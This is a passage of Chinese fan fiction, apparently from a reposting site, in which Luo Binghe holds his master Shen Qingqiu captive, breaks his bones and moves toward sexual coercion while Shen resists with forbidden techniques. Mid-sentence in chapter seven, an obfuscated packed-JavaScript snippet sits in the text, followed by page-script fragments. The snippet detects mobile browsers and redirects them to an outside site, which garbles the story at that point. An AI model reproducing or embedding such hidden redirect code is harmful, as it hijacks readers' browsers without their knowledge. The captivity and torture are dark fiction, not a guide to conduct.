更是在一切尘埃落定后,轻抚他的头顶,授予他真正的心法、亲自教导他剑招。 仙人抚我顶,结发授长生。 那个畜生,真的拥有了肯温柔抚摸他的仙人;而那个仙人,也真真正正的‘下凡’,与他结发,两相携手。 可自己眼前这个,哪怕是深陷心魔之中,眼神紧闭,嘴角绷直,浑身缩在冰哥怀里,颤抖的不成样子——也从未放弃过挣扎。 哪怕他灵力被天魔血强行压制,哪怕他周身被紧紧捆住,哪怕他眼神紧闭无法挣脱心魔所幻化的困阵。 也从未停止过反抗。 不能反抗,与不反抗。 是有极大区别的。 他只是受困于外界,无力或者说无法反抗。他的理智死死压制感性,平日里将周身温度凝结成冰,隔绝所有人的温暖与窥探。 无人知晓他高高在上、冷漠疏离的面具下,是怎样的脆弱与绝望,层层封印的图章下,是他抛弃不掉、无法闪躲的现实。 可若是给他一点机会,或者给他一点喘息、思考的时间…… 冰哥觉得。对于这种时刻想着挣脱的人。若是不打断他的筋骨,毁去其对抗的能力和手段,用苍穹山上的人作一个绳索,以威逼的方式令他主动缴械投降、折断羽翼。 他还真不知道,要如何将这头桀骜不驯的雄鹰,化为绕指柔。 苍穹山的人,可以杀。但不能全杀。 那些令冰哥不爽的人和物可以毁掉,但关于沈清秋的东西,不能全部毁去。 不开森,不爽快。 拥有实力后却不能将一切打翻,他要这力量有何用? 苍穹山能‘拴住’沈清秋,何尝没有在反限制冰哥? 若不是冰哥突然对沈清秋起了心思,苍穹山那些人啊。 就等着被两界至尊,烧家灭族吧! 深感被束缚的冰哥心情不是很美满。尤其是怀里这个疯狂挣扎的家伙,也及其不听话。 明明他都为了‘沈清秋’放过苍穹山了,这个人居然还在反抗! 罢了,‘自己的人,总是要多体谅几分的’。 冰哥轻嗅手边的青丝,连眼角都附上一层温柔:“师尊,别拒绝我。” 可惜,陷入心魔、死命挣扎的人,只会以尖锐有力的牙齿,向敌人展露自己的凶狠,拼上咬掉对方血肉的机会,以一腔孤勇去与既定的命运做抗争。 第六章这是一个昏了头的疯子、被污染的龙傲天 面对一个只会挣扎反抗、绝无半点妥协的疯子,冰哥不得不灌给沈清秋一些鲜血,帮助他维持理性。 天魔之血,既能控制人,让人失去理智与对自身的掌控。又能帮助人恢复心神,镇压被心魔侵染的灵台。 灼热又猩甜的铁锈味于咽喉中弥漫开来,黑压压的雾气逐渐散去,展现出另一种凝聚成鲜红色云彩的天空。地面在残阳的映照下如血般殷红,一时间竟让人难以分辨何为苍天,何为地面。 沉重的眼皮像是被人移走了压制之物,干涩之意伴随酸痛浮起,神志缓缓恢复。 “洛冰河?”沈清秋睁开不再血红的双眼,看着搂着自己的人,挣扎了一下,却没能调动躯体。 一抹惊诧快速从他眼中划过,却在眨眼恢复平淡。接着,他也不再尝试,努力用灵力冲刷经脉,试图积攒灵力以力破巧,一举突破禁制。 沈清秋一边努力挣脱枷锁,一边快速扫了一下周围环境,尤其是离自己极近、几乎将自己笼罩于他(身躯)阴影之下的洛冰河。 这个距离,太近了。这个局势(姿势),太危险了。 他转移对方精力,将视线放在洛冰河的眼上,摆出官方端正的态度来:“这是要拿我与苍穹山谈判?” “师尊啊。”冰哥看着恢复冷静的沈清秋,觉得这家伙的生存能力和适应能力一定很强,即便是被人所俘虏,还能摆出如此淡定的姿态,将两人拉到同一地位来‘问话’。 “您就没想过,弟子大费周章,是为了您吗?” 冰哥的手腕上还残留着没愈合的伤口,正一点一滴的向外渗出鲜血。由于从沈清秋唇边移开,被周围的寒风一吹,细细密密的凉意袭来,令他的眼神呈现出一种‘突然被惊醒’的不舍,与‘烦躁’来。 他看着沈清秋被血侵染的鲜红唇色,轻柔的用指肚抹去沈清秋唇边沾上的血珠,放入自己口中。 忽的,他像是想到了什么。勾起一丝堪称‘甜美’与‘满意’的笑容,语气温柔,眼里满含期待,眼底深处是难以压制的疯狂与执着: “弟子废了这么大的力气,就是为了带您走啊。” “。” “……” 这天没法聊下去了。 冰哥看着明显回避的沈清秋,伸手将他的脸掰到自己面前,直视他的眼睛:“师尊……弟子等这一天,可是等了很久呢。” 洛冰河不开口则已,一鸣惊人,他轻描淡写的一句话,引起沈清秋内心千层浪! —— 论这句话对直男的杀伤力有多大。 沈清秋只觉得自己像是被无法抵抗的天劫给击伤,被天雷滚滚给电的外焦里嫩,连灵魂和耳朵都在怀疑:他刚才感觉到了什么?他听到对面说话了吗? 他双眼有些失真的看着对方嘴唇蠕动、开合,却始终什么也不曾听到,亦无法通过嘴型‘读取’对方的话语。 他只觉得无法描述的感觉充盈于胸口,这种莫名生出的荒唐与滑稽,世界上没有任何言辞能精准表达。 甚至于,沈清秋都不能确定,他自己现在的表情,是在哭还是在笑,是懵逼还是震惊。 他的瞳孔因过度惊恐和无语而扩散,突然得知的‘事实’着实是超出了他的接受程度,令人难以维持一惯的漠然。 沈清秋原本只是想转移对方的注意力,用以拖延时间,找寻对方破绽。但是很明显,这个被‘转移’的方向,并不适合继续。 更甚至说,这个方向,是他从未想过,完全不曾设想过对应的路径。 这个离谱又可笑的‘问答’,毫无感情基础、没有一点铺垫与转折。 他们本该成为生死相杀的敌人,或者彼此对立的各界掌权者。 就算是对对方存在好感,其产生原因,也该是‘惺惺相惜’或‘彼此欣赏’。 不该是……如此,无厘头、可怜可怜可悲的、莫名其妙的、没有任何理由的‘爱与占用’。 ‘洛冰河’的意志与情感,本不该如此直白且狂热;‘洛冰河’的性格与作风,本不该如此粗暴且疯魔。 是什么改变了他?令他不再理智与拘谨,居然敢有犯上欺师,将一介仙尊囚为禁脔的想法? 沈清秋消化了一下令人难以理解的事实,眨巴一下眼睛,再次将视线转移到洛冰河脸上,直直的撞入冰哥幽深又漆黑的眸子里。 如没有月亮的高空中,连手指都看不明晰的厚重夜幕里,浓重的、令人无法喘息的浑浊黏稠物质。连呼吸,都充满缺乏氧气而带来的灼热般滚烫。 那是,仿佛要将整个世界颠覆的极致疯狂、出于对自己绝对实力的高傲、以及,明知不可为而非要为之的……狂妄。 ‘疯子。’ 唯有这个词,才能精准描述、此刻沈清秋对冰哥的看法。 人不能直视之物,除了耀阳外,唯有人心。 他仿佛看到无数血色污泥般的身影,化为常人难以理解的无形触手,不断拉着他下坠。 就像是肮脏的血液从岩石岸边缓慢滑落,形成一个不断吞噬外物的流沙潭。 而此时的他,就如同不小心掉入蜘蛛网的蝴蝶,越挣扎,就陷得越深。 ———— “师尊?”冰哥的表情依旧诚恳又认真,捏着沈清秋的手指却像是钢筋一般,牢牢的将对方下巴禁锢住:“难得师尊是想让弟子……” 这样的对话与局势,是要尽力避免的。沈清秋忍不住抖了一下肩膀,眼神中闪过一丝慌乱与震惊,脑海里飞速盘算着该如何破局:“我不与罔顾人伦的畜生争论。” 冰哥的神色堪称‘温柔如水’,他的眼里快速闪过一丝对‘温柔沈清秋’的怀念与对‘另一个畜生’的厌恶,以及更多的是憧憬: “师尊啊,我若说,您曾亲自给弟子疗伤,还拉着弟子与您同床而眠,您可相信?” 第七章没有人可以将直男用蛮力掰弯,强制爱更不可能 ‘有病!’沈清秋暗骂一句,迅速调动体内灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079699|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,双目微眯,凝于一点,右手猛地砍向冰哥的后颈。趁着冰哥身形不稳的瞬间,敏捷地用左手拍向床铺,借反冲力翻身而起,右腿如钢鞭般狠狠将冰哥踹倒。 在空中完成一个漂亮的后空翻,如乳燕回巢般,一退四五步远。眼神锐利地快速寻找着结界的薄弱处,试图寻一个逃脱之机。 “师尊啊。” 冰哥缓缓调整身姿,看着手中摸出信号弹的沈清秋,嘴角勾起一抹饶有兴致的弧度,眼里充盈着被人戏弄的不爽和手中之人不听话的不满。他的声音轻柔而无奈,像极了长辈对任性孩童的轻巧责怪:“你怎么就,不听话呢。” 沈清秋毫不犹豫地虚空写符,右手并成剑指在空中迅速舞动,引动周围游离的灵气。分布于周遭的灵力如同被牵引的丝线,在空中快速交织成复杂而神秘的符文,被他猛地砸向冰哥:“你疯了吗!” 冰哥见状,也不再摆出悠闲戏弄的模样,随手召唤出心魔剑,将飞来的符文一一斩碎。他缓慢的踩在地上,看着连衣衫都来不及整理妥善的沈清秋,只觉得这等狼狈之姿,也颇为风韵犹存。 “师尊,你的剑呢。”冰哥长剑在手,剑势威猛,狭小的空间里,只需要他手腕稍微抖动,就能将整个空间锁定于他的剑势之中。 反观沈清秋,随身携带的符文应该早就被用尽,否则也无需凌空写符。即使他绘制速度极快,却也快不过冰哥的一剑劈路。 当沈清秋绘制防御符文,抵挡长剑的攻击时;就无法绘制攻击符文,对敌人造成杀伤性伤害。而当他好不容易引动阵法,攻防兼备的时候,冰哥又干脆一剑劈下,以力破巧。 狭窄的房间并不适合轻功闪躲,一寸长一寸强,需要现场录制的东西,终究是比不过提前准备。 “师尊啊,修雅呢。”冰哥再次问道。若他所记不错,另一个世界的‘沈清秋’,是随身携带修雅剑的。而自己世界的那个,记忆太过遥远,但仿佛也很久不用了。 那么,修雅剑,去了哪里? 冰哥又是一剑斩过去,长剑在空中划过一道道优美的弧线,带着一往无前的气势,所到之处,连空气都被撕裂,发出尖锐的呼啸声。 沈清秋依旧是快速闪躲,不停的绘制符箓、兼各种零碎‘暗器’。 冰哥看问不出什么,身形一闪,瞬间出现在沈清秋面前。轻飘飘挥出一掌,带着透骨的寒气直冲沈清秋心口而去。沈清秋连忙侧身躲避,同时反手一掌拍出,快速化掌为勾,从冰哥腰间取下之前被‘缴获’的折扇来。 冰哥看着以折扇抵挡自己的沈清秋,心中疑惑更甚。他只是‘吐露’了一下真情,怎么之前还‘好端端’坐在一起喝茶、‘乖巧’躺在自己怀里的人,反应这么大? 尤其是,他俩都对打这么久了,为何沈清秋的兵器,始终是符箓、毒药、折扇。他的剑呢?改符修转法师去了吗?折扇是近战武器,沈清秋不曾练习外家功夫,遇到像他这般修为碾压之人,如何对打? 冰哥随手化解沈清秋又一次砸的攻击,嘴角露出一丝嘲讽的笑容:“师尊啊,你莫非是在让弟子?可您若只有这样的攻击力,就莫怪弟子下狠手了。” “......”该死的,信号弹发不出去不说,随身符箓全部消耗殆尽,连手中的折扇,都已经摇摇欲坠即将散架。魔族竟对他如此重视,派遣如此高手来捉拿他? 沈清秋渐渐感到力不从心。修为被控、体内不知为何存在种诡异的力量在不断蚕食他的灵气和体力,手中武器亦被压制,除非他曾修过刺客一类的功法,否则简直被全面碾压。 洛冰河大大咧咧的问他修雅剑在哪,可他,自那件事后,真的拔不出剑了。 “你之前所言,究竟何意?”沈清秋决定主动出击,以言语的争论,弥补对战的不足。 “师尊啊,正如弟子所说,弟子心慕于您,愿与您结百年之好。”冰哥主动停下手中的剑招,以一种近乎虔诚且真挚的神情,看向对面那个明显被雷得震惊三百年的男人。 “?玛德。”沈清秋爆了粗口。这是什么乱七八糟的玩意,魔族究竟养出了什么东西,用来污染修真界? “师尊有何想法,说出来与弟子听听?”冰哥看着脸色一瞬间阴沉得恨不得要灭世的沈清秋,眼中浮现出被人拒绝的不满和宠物不听话的阴霾。 他的耐性并不是很好,若不是想让对方更合自己心意的主动‘投怀送抱’,他不介意现在就把人压倒床铺上。当然,看着猎物百般努力却逃不掉,也是很有趣的。所以,他愿意陪沈清秋玩一出‘抵抗对打’的戏码。 “畜生!” 回复他的,是沈清秋直接以血画符,取舌尖血激活的禁术。 “师尊,看来不将你的骨头打断,你是真的学不会听话啊。”冰哥手指微动,属于沉睡状态的天魔血被唤醒,他以鬼魅到几乎闪现的速度,出现在沈清秋身后。手指用力,深深的插入到对方消瘦的肩膀中。 “嘶—”对方忍不住抽一道冷气,却还是不死心的抖动肩膀,试图以弯腰错位的方式,逃离自己的掌控。 冰哥毫不留情的捏断了他的肩肘链接处,断绝对方抬起双手的资格。用另一只手将对方紧紧揽在自己怀里,眼里有着不理解和疯狂:“为什么,您总是看不见弟子,也不接受弟子?” 他的手像是钢筋般将人牢牢捆住,紧紧的贴入怀里,胳膊紧锁,杜绝对方的挣扎。他紧盯着疼痛到满脸冷汗,却坚决不求饶的沈清秋,不再打算与对方继续‘玩闹’下去了。 看来。自己这个,是无法主动的。 既然如此,那就他‘主动’吧。 第八章风花雪月、缠绵悱恻,从来都是女频的拿手好戏 “混账!”沈清秋全身灵力被禁,手腕脚踝被折断,浑身被捆仙绳绑住,衣衫破烂,伤痕累累的被丢在铺盖之上。床榻一开始还是他清理干净用来打坐恢复的,现在却便宜了外人! 冰哥随手将外衫丢到地上,转而优雅从容、细致缓慢的解着身上配饰:“我记得,您自从登上峰主之位,好像再也不曾动剑。世人传言,是您杀了柳清歌后,再也拿不起来了?” 沈清秋看着越发大胆张狂,一步步蚕食自己生存空间的冰哥,忍不住一点点向墙面后退,气急败坏、张口就骂: “我竟不知自己养了个欺师妄上的徒弟!我没喝你的敬师茶,不是你师傅!有一个你们魔族当弟子,我脸上都无光!” 洛冰河慢条斯理的将自己鞋袜解开扔下去,又捉住沈清秋乱踢的脚,轻敲了一下他的脚面,脸色认真的替他松开系着小腿的绑绳:“别乱动,踢脏了我们怎么睡?” 沈清秋感受到从脚尖传来的、近乎摩擦的感触,心里猛的缩紧。 从他今天感受到魔气的那一刻,他心里就有种隐约不安的预感。甚至说,在他看到冰哥的第一眼,就感受到了对方所带来的压迫感。 每一寸神经都在绷紧,每一刻都在飞速思考。那是一种对周围环境的直觉、对未来的预判。 危险,警惕,一定以最快的速度逃离。 可他不能就那么逃。 对敌之时,逃亡,意味着退缩。 而将后背露给敌人,就相当于将脖颈送到对方手上。 狭路相逢、勇者胜。提不起对战想法的人,只配沦为敌人随手一招砍杀的废物。 他不仅不能‘落荒而逃’,还要尽可能从容的放松与随意。他越‘体面’,对方越会觉得他有底气、有后手,故…越发,不会第一时间动手。 他们从见面接触的第一次触碰开始,就在互相试探。 洛冰河既然知道‘据说您极为厌恶男子触碰’,却又故意接近且触摸他,说明他早就想到并预料且期待会‘被打’。 而他倒地后脆弱、濒死,用‘不甘心问话’的方式,成功降低沈清秋的警惕。又在快速压制住他后被‘轻松’挣脱,更是无形之间令沈清秋戒心被降到最低。 以及,方才的自曝‘柳清歌已死’。(柳清歌已死的事实,在后续的联审才被爆出来。) 一切,都说明了,此人有备而来,心怀不轨。 明明拥有一击将他击溃的实力,却偏要陪他演戏,搞什么‘濒死吐真情’的戏码; 明明随时能将他一举踩在脚下,却非要装作力有不逮的样子,任他快速逃脱,让他在希望与绝望之间疯狂挣扎。 令他反复逃脱却最终被压制,来回逃离却不得其愿,竭尽所能、手段尽出却被无情拽回。 其心,正如诸葛亮七擒孟获般,希望将沈清秋‘收复’? 用完全不设限的牢笼,让他反复撞击而出不去,直到伤痕累累,认清‘永远都无法逃脱’的事实后,再也提不起腾飞逃离的想法。 —— 可。那又如何? 敌人的轻视与玩弄,终究会为此付出代价。所有看不起弱者,肆意妄为的人,自会因为他的蔑视而摔下神坛。 现在无法逃脱的是沈清秋,之后,现如今高高在上的冰哥,又会被谁拽下? ———— 沈清秋毫不犹豫的一脚将人踹开,完全不顾及已经骨裂的腿脚,言辞激烈、反抗异常: “洛冰河!你个畜牲!你怎么敢的?” “劳资怎么会遇见如此寡颜薄耻的玩意!你们魔族都不要脸的吗?你在修真界待那么久,连''廉耻''两个字都不会写?洛冰河你''最好杀了我,否则总有一天我要弄死你!” “猪狗不如的畜牲,狗杂种!” “杂种,畜牲不如的狗玩意,劳资没一剑砍死你真是手软了!” “师尊。继续骂,弟子爱听。”冰哥看着伶牙俐齿的沈清秋,听着他如此鲜活又生动的谩骂,突然感觉到一种踏踏实实的‘真实感’。 只是吧,即使冰哥对面前的‘沈清秋’满意得不行,他手上动作也没停。 沈清秋骂一句,他就在他关节处‘捏’上一下。 猎物过于‘生猛’,即便是层层压制与困锁,也需要将他的骨头打断,令其彻底不能反抗才行。 当然啦。如果沈清秋不反抗,或者稍微‘服从’那么一点点,冰哥也是可以容忍对方存在些小脾气、小性子的。 虽然不能如另一个世界的‘柔情似水,佳期如梦’,但烈性之后宫,只需要稍微一点点的‘软化’,都能令人如获至宝。 他去《渣反》的时候,虽然‘沈清秋’温柔体贴、主动平和,但冰哥却总是有一种莫名的违和感。 他总觉得,沈清秋不该是那样的。 那样单纯平和、从不将锋芒展露、与周遭打成一片的‘沈清秋’;与他所遇到的高冷仙尊,太不一样了。 男频世界观下的仙尊。 怎么可能没有自己的戾气;没有触之即死的逆鳞;没有冷淡到面无表情、耀眼到要刺透苍穹的锋芒? 那样平和包容、畏惧权势的灵魂,唯有家人宠爱、环境安定之处,才能将人培养的如此‘单蠢’与‘胆怯’。 而修真界…… 有那个地方,能养成这样性格的灵魂呢? 即便是最为讲究血脉的世家大族、最受宠爱的废物嫡系,也万不可能被驯养的如此天真,如此……懦弱。 而今,他看着肆意谩骂,毫不犹豫将恶毒话语倾洒、腿脚疯狂乱蹬、以一种决绝的态度坚决反抗,恨不得带动大家一起毁灭的‘沈清秋’,只觉得自己终于寻到了心底的缺失—— 第九章有些鸟儿,是关不住的;若要强行驯养,只会收获尸体 那是一种,大家都不是好人,而你我,堪称外表优雅从容、内里却猩烂狠毒的绝配。 我杀戮无数、脚下枯骨成堆,而你尖酸刻薄、外表风雅。我们皆是从底层杀出重围的‘成功者’,都是一将功成万骨枯的仙侠至尊。 我们淡漠无情,对旁人从不怜惜。 我们冰冷决绝,对敌人一招必杀。 想要的,从来都是靠自己争抢;想得到的,也永远是付出一切能拼命的,将自己全部身家押上,去赌最后的结局。 我们不介意过往,因为最后的成功,足以证明踏上的路并无差错。 而强者的路上,哪怕真的有过错误,只要回报能够覆盖付出,即便是将性命交出,也从不后悔。 美满的结局是很难达成的,需要无数个机缘巧合与恰到好处。 胆怯之人、心智不坚之人、无法舍弃一切之人,都无法走下去。 世间从不缺少传奇,可唯有成功活下来、取得成就的,才配被人传颂。抗争永远伴随着死亡与失去,想要得到什么,就得付出同等的筹码才行。 这些,另一个世界的‘沈清秋’,都做不到。 他就像是误入花园深处的旅客,因天真烂漫被旁人所注意,又因莫名其妙的魅力获得众人的团宠,最后竟然凭借着‘傻白甜’,将本可以成就两界至尊的人物,养成属于自己的‘忠犬’。 太可怕了。 这种人,甚至比‘洛冰河’还像气运之子,比天道亲自降神更加开挂。 完全不讲道理的偏爱,就像是‘超级管理员权限-让气运之子对其恋爱百分百’一样,完完全全将剧目里的所有人变成能随意修改数值的NPC,简直GM。 —— 当然,面前这个‘沈清秋’,最让冰哥满意的一点是,对方完全遵循‘你打不过我,就只能被我压制’的修真界条例。 即便现在被压制得缩成一团,内心恨不得直接黑化坠魔、拼个你死我活,却从不觉得这件事存在错误。 强者赢得一切、为所欲为;弱者于残渣剩饭中、苟延残喘的艰难求生。 这是修真界铁律,是所有人奉行的规范。无论他是否正确,当所有人遵守的时候,‘它’就是绝对的真理。 而现在,占据绝对上风的人,是冰哥。 “若您今日佩剑在手,弟子还需多费些功夫。可惜您一无应对利器,二无法对抗魔气,又狗急跳墙咬下弟子鲜血,今日,必被弟子所擒啊。” 冰哥得了便宜还卖乖,一边悠哉的抵挡沈清秋乱踢的腿脚,一边温柔的替对方宽衣解带。 对于沈清秋的反抗,冰哥心中有数。反正都逃不过自己的手掌心,让他骂骂,发泄一下情绪也好,万一回头郁闷坏了,冰哥会心疼的。 不过,随着沈清秋的抵抗程度越来越大,哪怕是灵力全失、全身筋骨被折断的情况下,冰哥也能感觉到床铺在震动……他真的很担心一会床塌了,两个人是不是要打地铺。 冰哥一把将沈清秋揽入自己怀里,双腿发力将沈清秋乱蹬的脚控制住,靠床的手将沈清秋的肩膀紧紧抱着,另一只手抚上沈清秋的丹田,威胁道: “师尊,您要是再抵抗下去,弟子只能废你修为了。将您全身骨头打断都控制不住您,您让弟子拿您怎么办呢?” 沈清秋感受着腹部传来的温度,以及指尖在布料上来回摩擦的触感,森冷的寒意从对方身上传来,完全不像活人的温暖。 对方看似亲密的拥抱着沈清秋,实际上却如同猎手般将人禁锢在以身躯构建的牢笼之中。本该是温馨美满的画面里,只剩下两个人强硬的对阵。 冰哥的怀抱极紧,像是要将猎物吞噬殆尽、咬碎入腹的凶兽。以骨头为囚牢困锁住无力反抗的人类,就像是索命的阎罗一样,一步步的蚕食着怀中人的生命力与未来。 灵力被封、骨头磨碎,无法以强大灵力压制对方,也不能用肩肘等硬物抵抗对方的控制,除了尖锐的指甲与锋锐的牙齿外,沈清秋能采用的,便是毒。 但……他之前已对洛冰河用过毒物,却完全无法取对方性命。如今手中无物、身无利器的他,还能以何种方式破局? —— 冰哥向来说到做到,他说要打断沈清秋的骨头,就真的一处不留,全部关节都被敲损。他说要毁去沈清秋的衣物,在一开始的对打中,就频繁的制造契机。 而今,他说要毁去沈清秋的修为,就不可能留下能让他抵抗自己的能力——人有失手、马有失蹄,想将人化为自己的所有物,就必须让他失去一切反抗手段才行。 止不住的颤抖从怀中人身上传来,对以残酷、实力为尊著称的修真界来说,丢掉性命,远不如失去修为可怕。 死就死了,一刀、一剑、抹个脖子的事情。 可,没有修为却存活于世;四处树敌却无人庇护;周围还有人虎视眈眈的觊觎着自己的皮囊与根基。 这样的处境,远比死亡更令人绝望。 冰哥就不信,沈清秋能‘不怕’。 …… 但事实却是。 沈清秋,拼着丹田破碎的孤勇,以软烂到几乎像是洋娃娃的手腕,从冰哥的头上抽出玉簪,狠狠的插入冰哥头顶的百会穴(假的,莫较真)。 接着,他以血脉倒流之禁术,以经脉快速扩张和崩裂的代价,强行将天魔之血的debuff压下,为自己争取到短暂的行动时间。 将仅剩的灵力凝聚于指尖,快速凌空画符,猛咬舌尖,吐出一口精血附灵,将旁边之人牢牢困住。 左手于床头伸出,将之前对打得几乎散架而‘幸免于难’的折扇取回。轻触机关,扇骨刺出透明细小到几乎看不见的毒针。 “既然毒杀不得,那就割去项上人头好了。” 沈清秋的咽喉已经开始溢血,手骨软绵,只能以灵力强行‘握住’折扇。但他眼中的光却极为灿烂:是疯狂拼一次,还是任人摆弄宰割、被收为床宠? 学习禁术的目的,不就是以伤换对方的性命、以命换敌人更多的性命吗? 杀一个够本、杀两个血赚。 他杀了那么多人,用无数敌人的性命铺就自己的‘仙尊’之名。 靠得,可不是认命。 只是可惜,这次当真要阴沟翻船,以命搏命了。 12.退让与怀柔,都是虚假 上部序刀光剑影的男频世界观,爱情是最不值钱的玩意 沈清秋清醒的时候,已经是很多年很多年以后。久远到,所有故事都已落幕的时候。 他被冰哥所擒,要与他共赴极乐。虽冰哥用修为威胁令他隐忍一刻,却在最后难以忍受这等折辱,愤而搏杀,最终极限一换一。 刀光剑影、灵魔相交。只是可惜,明明已附上死智,最终却是两个都没死,两个都存活了下来。 求生很难,每个人都想活下去。 可是,有些东西,是没办法为了‘活着’而改变的。 当一个人走到他所能走的最高位置后,一旦被拉下,就是灾难。曾经的荣辱与威严,早就将他奉上高高的神台,由不得他坠落。 恶语伤人六月寒。 即便一百个人中只有一个恶人——这一颗老鼠屎,也足以污染整个环境。 一个‘神明’若被人拉下神位,无数人会忍不住落井下石,将他深深的踩入泥潭,浑身沾满脱不掉的污名……各种恶毒的遭遇都会降临在他的头上。 德不配位,必有灾祸。 能力不足以威慑的时候,曾经被他弹压的人,很难能压制住内心的恶,不去踩上一脚。 他的性命,并不完全掌握在自己手里。当他将自己上升为‘仙尊’的时候,身下是无数失败者的恶意。就像是幽冥深潭里的骷髅骨手一般,随时准备着,将他拉入最深处的悬崖。 就算不论那些来自周遭的恶意,便是人从高空坠下的落差,都足以令人死亡。 更何况,如果他的‘活命’需要用尊严与屈服去换取的时候。 ‘性命’,其实并没有那么重要。 若他活下来,以床奴的身份。 任由对方用他的存在打击自己的宗门,伤害他所在乎的人。将自己的尊严放在对方脚下踩,像条狗一样丑态毕出的求绕、祈祷对方让自己活命。 沈清秋做不到。 而且还有很重要的一点。 洛冰河此人。绝对不可能,因为单纯的‘想睡师尊、想犯上’这么简单的理由,将沈清秋绑了,还做出这种事情来! 刀光剑影、爱恨情仇,是江湖的主旋律。 可,从没听说过谁真的因为‘爱而不得’真去把某个门派的实权人物给绑了,然后还带走的! 爱情很重要。 但爱情需要物质的支撑。 当所有人都在勾心斗角、最大程度抓取权势的时候。 爱情?只是希望对方乖乖让出利益的借口罢了。 —— 沈清秋不是年轻孩童。 他在幼年时也曾将全部的希望给予他人,继而得到一个虚无缥缈的承诺。 为了这个‘承诺’,他在秋家努力求活,不曾逃离。 每当扛不下去的时候,一想到还有人在等着自己,还有人会回来拯救自己。他就能将血泪咽下,继续抗下去。 可,时光磨掉了他的期待。 无厌子的出现,更是让他主动撕毁信仰——去他娘的画地为牢,劳资只想与世界同归于尽! 那场大火里,埋葬了沈九的敌人。 更杀死了。软弱的、拥有期待的少年沈九。 尤其是。 没碰到岳七的时候,他还能安慰自己:“岳七死了,他要努力活下去,为岳七报仇。” 可,岳七不仅没死,还是名扬天下的苍穹山派预备掌门、穹顶峰首席大弟子。甚至还得峰主赐名“岳清源”。 于是,同样成为清静峰首席的沈清秋知道: 沈九早就该死了。脆弱的人,不配在世间活着。 只是啊,年少的沈九。居然曾可笑的坚守着“岳七定会来救他,他忍忍就好了”的信念,一日日困死秋家。 所以。 当他面对冰哥的‘阶下囚折辱’,他可以接受, 对于曾经的秋大少将他当成玩具,他也可以忍受。 但。 一个实力比你强,威势比你大,性格比你更强硬的人。 突然说什么,‘爱你’、‘为你而来’。 甚至还想让你信任于他,将自己的情感与后背交给他。 信任什么? 信任一个囚禁自己,还灌给自己“悲惨上一世”的人吗? 怎么,嫌跌的不够惨,还要再来一次,以满足对方的恶趣味吗? 退步,退让。固然可以换得一时安稳,甚至诸多虚假的‘宠爱’。 可服软之后,敌人并不会因为你的滑跪和投降而减少折辱,甚至会因失去“骨气”而遭受更多的言语羞辱。 行尸走肉固然能活。 但,人丢掉了底线、失去了心气。活着,与傀儡何异? 再者说,若是服软,之前的坚持又算什么? 反正都要服软,为什么一开始要大动干戈的展露所有底牌? 这是‘服软’吗? 这分明是黔驴技穷后的无奈下跪! 能站着,为何要跪? 啊,因为打不过,因为逃不掉,因为连自杀都不行? 一个死不掉、又无力反抗的家伙,是没办法拒绝别人的。 当死亡都被禁止的时候,人的性命与尊严,其实是没有意义的。 可。‘死亡’,本就是指——身体的存活。 既然身体的伤亡能够被快速恢复。 那就干脆形神俱灭好了。 既然躯体无法死去,那就灵魂寂灭好了。 反正。天生反骨的人,最不怕的,就是达成目的前的苦痛。 同样的,反正他不怕死,也死不掉。那他还有什么可失去、可惧怕呢? 第一章当故事尘埃落定,不同立场的我们,可否一笑泯恩仇? 沈清秋清醒的时候,有些不知今夕何夕。 这很正常,一个睡了三天的人清醒,都会觉得世界不正常;更何况他还睡了很久很久呢。 只是,当他睁眼看到洛冰河的时候,觉得大脑有点待机。 人刚睡醒的那一刻,心情是非常平静的。他会对一切都属于一种模糊、无所谓、灵魂刚进入状态的‘不适应’感。 于是,他难得的和洛冰河心平气和的相处,甚至还有功夫扫视了一眼周围的环境和自己状态。 四周的陈列有些类似于清静峰,就连空气中飘浮的,都是平日里他惯用的熏香。 他身着病人常穿的白色内衬,平躺于床榻之上。双手虽然纤细虚弱,但并不至于皮包骨头,四肢皆在,并没有少什么部件或多什么部件。 ‘还行。’沈清秋对目前的状态下了结论。起码不是什么深处牢狱、缺胳膊少腿、身处各种重伤debuff的地狱开局。 这起码说明一点,对方对他虽有敌意,但不至于一下子将他弄死,或者直接以最残暴的行为面对他。如果是这样的话,对方也不至于辛苦将他‘救活’,将他挫骨扬灰岂不是更省事? 只是,事出反常必有妖,对方单独来见自己已经很不正常,跟他对打后说什么乱七八糟的玩意更是不对劲。如今,更是在双方互相下杀手的情况下,不仅没让他死的干脆利落,反而将他救活。 既然对方想‘体面’点,他正好可以借此机会修生养息,探寻一下周围环境再做决定。 “师尊。”冰哥身着弟子服,从桌子上端起一碗熬制好的药,递到沈清秋面前。 “?”虽然沈清秋现在心态很平和,也知道对方对他的态度有些不太寻常,但——对方喊他什么?这一身弟子服,又是什么鬼? 他可以确信他今天才清醒,对方,应该不是脑子抽风,每天都穿弟子服等他清醒吧? 而且,他该以什么态度对待这个魔族奸细,将他擒来的敌方关键人物? “师尊。您果然不会理我。” 清朗中带着丝丝幽怨的声音响起,药碗被径直推到沈清秋唇前,试图直接撬开他的嘴灌进去。 沈清秋下意识抬手,将药碗掀翻,接着,下巴被人抬起,眼前出现被放大的俊脸。 “师尊啊,您都‘睡’这么久了,脾气还这么差啊。” 少年一身白衣中参杂着青色花纹,翠绿色的发带随万千青丝垂落,柔化了本该硬朗的面容。那双透着亮光的眸子里,清楚的映出沈清秋苍白又脆弱的脸。 “你以这身衣物,又幻为少年模样,是想示敌以弱,还是想提醒我之前有多么‘失职’?” 若是旁人,大概会被这样的清朗少年所迷惑。可惜沈清秋并不是一个怜香惜玉之人,他见到本该青年却故意彰显幼态的敌人,第一想法便是: 对方的目的如何?是希望借此威胁他?还是想提醒他?亦或是,想让他放松警惕、继而看他因轻信而登高失重? “师尊啊。”冰哥有些无奈的叹口气,捏着对方的手指轻飘飘的,像是一点力道也不曾施加:“您何必对我如此谨慎,弟子只是,想得到您的关注罢了。” 沈清秋毫不犹豫的扭头,待灵魂重新适应身体后,翻身下床,朝门外走去。 